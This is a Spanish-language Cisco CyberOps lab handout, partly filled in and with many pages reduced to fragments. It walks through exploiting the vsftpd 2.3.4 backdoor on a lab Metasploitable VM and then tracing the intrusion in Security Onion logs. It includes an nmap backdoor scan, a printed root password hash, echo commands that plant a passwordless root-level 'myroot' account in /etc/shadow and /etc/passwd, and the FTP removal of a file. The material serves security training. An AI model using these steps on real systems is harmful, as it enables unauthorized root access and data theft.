12.4.1.2 Lab - Isolate Compromised Host Using 5-Tuple
12.4.1.2 Lab - Isolate Compromised Host Using 5-Tuple
12.4.1.2 Lab - Isolate Compromised Host Using 5-Tuple
Objetivos
En esta práctica de laboratorio revisarán archivos de registro durante el ataque a una vulnerabilidad
documentada para determinar los hosts y el archivo comprometidos.
Parte 1: Preparar el entorno virtual
Parte 2: Reconocimiento
Parte 3: Ataque
Parte 4: Infiltración
Parte 5: Revisar los archivos de registro
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 1 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
Antecedentes / Escenario
Los administradores de TI utilizan 5-Tuple cuando necesitan identificar los requisitos necesarios para crear
un entorno de red operativo y seguro. Los componentes de 5-Tuple son los siguientes: la dirección IP y el
número de puerto de origen, la dirección IP y el número de puerto de destino y el protocolo en uso.
En esta práctica de laboratorio atacarán un servidor vulnerable con ataques conocidos. También revisarán
los archivos de registro para determinar los hosts y el archivo afectados.
Recursos necesarios
Servidor con al menos 8 GB de RAM y 35 GB de espacio libre en disco.
Versión más reciente de Oracle VirtualBox
Conexión a Internet
Cuatro máquinas virtuales:
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 2 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
b. En la ventana de CyberOps Workstation, verifiquen que la red esté definida en Internal Network (Red
interna). Seleccionen Machine > Settings > Network (Máquina > Configuración > Red). En Attached To
(Conectada a), seleccionen Internal Network. En el menú desplegable junto a Nombre, seleccione
interna; luego, haga clic en Aceptar.
c. Abran las máquinas virtuales CyberOps Workstation, Kali, Metasploitable y Security Onion e inicien
sesión en ellas.
d. En la VM CyberOps Workstation VM, abran un terminal y configuren la red; para ello, ejecuten el script
configure_as_static.sh.
Como el script requiere privilegios de usuario avanzado, introduzcan la contraseña correspondiente al
usuario analyst.
[analyst@secOps~]$ sudo ./lab.support.files/scripts/configure_as_static.sh
[sudo] contraseña para analyst:
Configurar la NIC de la siguiente manera:
IP: 192.168.0.11/24
GW: 192.168.0.1
Configuración de IP exitosa.
[analyst@secOps ~]$
e. En la VM Security Onion, hagan clic derecho en el Escritorio > Open Terminal Here (Abrir terminal
aquí). Introduzca el comando sudo service nsm status para verificar que todos los servidores y
sensores estén listos. Este proceso podría demorar unos instantes. Si algunos servicios reportan una
falla (FAIL), repitan el comando según sea necesario hasta que todos los estados sean OK antes de
pasar a la parte siguiente.
analyst@SecOnion:~/Desktop$ sudo service nsm status
Status: securityonion
* sguil server [ OK ]
Status: HIDS
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 3 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
* ossec_agent (sguil) [ OK ]
Status: Bro
Name Type Host Status Pid Started
manager manager localhost running 5577 26 Jun 10:04:27
proxy proxy localhost running 5772 26 Jun 10:04:29
seconion-eth0-1 worker localhost running 6245 26 Jun 10:04:33
seconion-eth1-1 worker localhost running 6247 26 Jun 10:04:33
seconion-eth2-1 worker localhost running 6246 26 Jun 10:04:33
Status: seconion-eth0
* netsniff-ng (full packet data) [ OK ]
* pcap_agent (sguil) [ OK ]
* snort_agent-1 (sguil) [ OK ]
* snort-1 (alert data) [ OK ]
* barnyard2-1 (spooler, unified2 format) [ OK ]
<output omitted>
Parte 2: Reconocimiento
En esta parte utilizarán nmap para determinar si la VM Metasploitable tiene alguna vulnerabilidad asociada
con vsftpd versión 2.3.4.
a. En la VM Security Onion, introduzcan date para mostrar la fecha y hora.
analyst@SecOnion:~/Desktop$ date
Registren su fecha y hora.
Sat feb 22 13:29:20 utc 20 20 _________________________________________________
b. En la VM Kali, hagan clic derecho en el escritorio y seleccionen Open Terminal (Abrir terminal).
c. Con las opciones de nmap, utilizarán un script para probar si hay alguna vulnerabilidad FTP en la VM
Metasploitable VM en 209.165.200.235. Introduzcan el siguiente comando:
root@kali:~# nmap --script ftp-vsftpd-backdoor 209.165.200.235 –-reason >
ftpd.txt
Los resultados se redireccionan y se guardan en el archivo de texto ftpd.txt. Este proceso demorará
unos instantes.
d. Cuando retorne el cursor, abran el archivo de texto que contiene los resultados de nmap.
root@kali:~# cat ftpd.txt
En el resultado se ve la vulnerabilidad vsftpd y otros puertos abiertos que son detectados por nmap en
la VM Metasploitable. En esta práctica de laboratorio atacarán la vulnerabilidad con el puerto 21.
Starting Nmap 7.40 ( https://nmap.org ) at 11/07/2017 11:34 EDT
Nmap scan report for 209.165.200.235
Host is up, received echo-reply ttl 63 (0.0011s latency).
Not shown: 977 closed ports
Reason: 977 resets
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
| ftp-vsftpd-backdoor:
| VULNERABLE:
| vsFTPd version 2.3.4 backdoor
| State: VULNERABLE (Exploitable)
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 4 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
Parte 3: Explotación
Ahora que han determinado que pudieron obtener acceso raíz a la VM Metasploitable, atacarán la
vulnerabilidad vsftp para obtener el control total de la VM Metasploitable. Afectarán al archivo /etc/shadow
para poder obtener acceso a los otros hosts de la red.
Matching Modules
================
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 5 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
Exploit target:
Nombre de ID
-- ----
0 Automatic
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 6 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 7 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
Observen que el signo de dos puntos (:) separa cada línea en 9 campos. Si utilizamos la cuenta del
usuario raíz como ejemplo, root es el nombre de inicio de sesión y
$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. es la contraseña cifrada. En los siguientes 6 campos se definen
las configuraciones correspondientes a la contraseña, como la fecha del último cambio, la antigüedad
mínima y máxima de la contraseña y su fecha de vencimiento. El último campo se reserva para uso
futuro.
Para obtener más información sobre el archivo /etc/shadow, escriba man shadow en un indicador del
terminal.
j. Regresen al terminal de Metasploit Framework en la VM Kali. Agregarán un usuario nuevo myroot a la
VM Metasploitable. Este usuario tendrá las mismas configuraciones de la contraseña que root.
Cuando estén creando el usuario nuevo utilizarán los mismos 9 campos que el usuario root; pero
eliminarán la contraseña cifrada asociada con el usuario root y dejarán vacío el campo de la contraseña.
Cuando el campo de la contraseña está vacío no se necesita ninguna contraseña para iniciar sesión
como el usuario myroot.
El comando echo anexará una línea nueva para agregar el usuario nuevo myroot al archivo
/etc/shadow.
Nota: Asegúrese de que haya dos signos de mayor (>); si no es así, sobrescribirá el archivo
/etc/shadow actual.
echo "myroot::14747:0:99999:7:::" >> /etc/shadow
k. Verifiquen que hayan agregado el usuario nuevo myroot a /etc/shadow.
cat /etc/shadow
<output omitted>
myroot::14747:0:99999:7:::
¿Por qué fue necesario copiar el contenido del archivo /etc/shadow a un archivo de texto nuevo en la
VM Kali?
Pista: ¿Qué sucedería si introdujera cat /etc/shadow > /root/shadow.txt en la consola de Metasploit
Framework?
Creariamos el archivo shadow.txt en la computadora
remota_______________________________________________________
l. Para permitir que myroot inicie sesión con privilegios elevados, agregará el usuario myroot con el
mismo número de Id. de usuario (UID), el mismo número de Id. de grupo (GID) del usuario, la misma
descripción del usuario, el mismo directorio de inicio del usuario y el mismo shell de inicio de sesión que
el usuario root al archivo /etc/passwd. El signo de dos puntos (:) separa los campos, y la x del segundo
campo representa la contraseña correspondiente al usuario. La contraseña cifrada se puede encontrar
en el archivo /etc/shadow correspondiente al mismo usuario.
Regresen a la ventana del terminal de la conexión remota de Metasploitable e introduzcan el comando
cat para ver la información correspondiente al usuario root.
cat /etc/passwd | grep root
root:x:0:0:root:/root:/bin/bash
m. Utilicen el siguiente comando echo para anexar la configuración correspondiente a myroot a
/etc/password.
Nota: Asegúrese de que haya dos signos de mayor (>); si no es así, sobrescribirán el archivo
/etc/shadow actual.
echo "myroot:x:0:0:root:/root:/bin/bash" >> /etc/passwd
Para obtener más información sobre el archivo /etc/passwd, escriban man 5 passwd en un cursor del
terminal.
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 8 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
[*] 209.165.200.235 - Command shell session 1 closed. Reason: Died from EOFError
Parte 4: Infiltración
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 9 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 10 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
<output omitted>
j. Han determinado que la subred correspondiente a la red LAN es 192.168.0.0/24. Ahora utilizarán un
bucle for para determinar los hosts activos en la red LAN. Para ahorrar tiempo, solo harán ping a los
primeros 15 hosts.
analyst@SecOnion:~$ for ((i=1;i<15;i+=1)); do ping -c 2 192.168.0.$i; done
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=64 time=0.067 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl=64 time=0.027 ms
--- 192.168.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.028/0.031/0.034/0.003 ms
<output omitted>
PING 192.168.0.11 (192.168.0.11) 56(84) bytes of data.
64 bytes from 192.168.0.11: icmp_seq=1 ttl=64 time=0.606 ms
64 bytes from 192.168.0.11: icmp_seq=2 ttl=64 time=0.262 ms
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 11 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
ftp>
d. Carguen el archivo confidential.txt a la VM Metasplolitable. Ahora tienen acceso al archivo y pueden
moverlo a la VM Kali para utilizarlo si así lo desean.
ftp> put confidential.txt
200 PORT command successful. Consider using PASV.
150 Ok to send data.
226 Transfer complete.
103 bytes sent in 0.000104 seconds (41.6 kbytes/s)
e. Escriban quit cuando hayan terminado de transferir el archivo.
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 12 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
d. Seleccionen el mensaje de raíz devuelto asociado con el Sensor seconion-eth1-1 para profundizar el
análisis. En la figura de abajo, se utiliza el ID de alerta 5.2568 y sus eventos correlacionados. Sin
embargo, es muy probable que sus ID de alerta sean otro número.
e. Hagan clic en el número que se encuentra debajo del encabezado CNT para seleccionar View
Correlated Events (Ver eventos correlacionados).
f. En la ficha nueva, haga clic derecho sobre el ID de alerta correspondiente a una de las alertas GPL
ATTACK_RESPONSE id check returned root y seleccione Transcripción. En este ejemplo se utiliza el
ID de alerta 5.2570.
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 13 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
g. Revisen las transcripciones correspondientes a todas las alertas. En la última alerta de la ficha
probablemente se mostrarán las transacciones entre Kali (actor de la amenaza) y Metasploitable
(objetivo) durante el ataque.
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 14 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
b. Para ver todos los paquetes ensamblados en una conversación de TCP, hagan clic derecho sobre
cualquier paquete y seleccionen Follow TCP Stream (Seguir flujo de TCP).
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 15 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
d. Si un atacante se ha apoderado de Metasploitable, querrán determinar cuál fue el ataque que utilizó y a
qué pudo acceder el atacante.
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 16 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
b. Hagan clic derecho sobre el número que se encuentra debajo del encabezado de CNT y seleccionen
View Correlated Events (Ver eventos correlacionados) para ver todos los eventos relacionados.
Seleccionen el ID de alerta que comienza con 5. Esta alerta recopiló la información proveniente del
sensor en la interfaz seconion-eth1-1.
c. En la ficha nueva con todos los eventos correlacionados, hagan clic derecho sobre el ID de alerta y
seleccione Transcript (Transcripción) para ver cada alerta más detalladamente. En este ejemplo se
utiliza el ID de alerta 5.2569. En la última alerta probablemente se mostrará la transmisión de TCP entre
el atacante y la víctima.
d. También pueden hacer clic derecho sobre el ID de alerta y seleccionar Wireshark para revisar y guardar
el archivo pcap y el flujo de TCP.
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 17 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
c. ¿Qué archivo se transfirió por FTP a 209.165.200.235? ¿Quién es el dueño de la cuenta que se utilizó
para transferir el archivo?
Confidential.txt________________________________________________________________________
___________
d. Hagan clic en info para ver las transacciones en el último registro. El campo reply_msg indica que esta
es la última entrada correspondiente a la transferencia del archivo confidential.txt. Hagan clic en Plugin >
getPcap (Complemento > getPcap). Introduzcan el nombre de usuario analyst y la contraseña
cyberops cuando el sistema se los solicite. Si es necesario, hagan clic en Submit (Enviar). CapMe es
una interfaz web que les permite obtener una transcripción pcap y descargar el pcap.
La transcripción de pcap se traduce utilizando tcpflow, y esta página también proporciona el enlace para
acceder al archivo pcap.
e. Para determinar el contenido del archivo afectado, hagan doble clic en el icono del escritorio para abrir
ELSA y así abrir una ficha nueva y realizar otra búsqueda.
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 18 de 19 www.netacad.com
Práctica de laboratorio: Host comprometido aislado utilizando el método de 5 componentes (5-Tuple)
f. Expandan FTP y hagan clic en FTP Data (Datos de FTP). Hagan clic en uno de los enlaces de Información y
seleccionen getPcap en el menú desplegable para determinar el contenido del archivo robado.
g. En el resultado se ve el contenido del archivo de nombre confidential.txt que se transfirió al servidor FTP.
Paso 6: Limpieza
Cierren todas las VM cuando hayan terminado.
Reflexión
En esta práctica de laboratorio han utilizado una vulnerabilidad para obtener acceso a información no
autorizada y han revisado los archivos de registro como analistas especializados en ciberseguridad. Ahora
resuman lo que aprendieron.
Se usaron vulnerabilidades del sistema remoto no solucionadas para accer y tomar control de este a través
de asignación de roles root , luego establcido el m`todo de ingreso, se transfirió información usando ftp a
través de dos servidores. Luego se utilizaon herramientas para trazar el método de ataque y el impacto del
mismo
Cisco y/o sus filiales. Todos los derechos reservados. Información confidencial de Cisco Página 19 de 19 www.netacad.com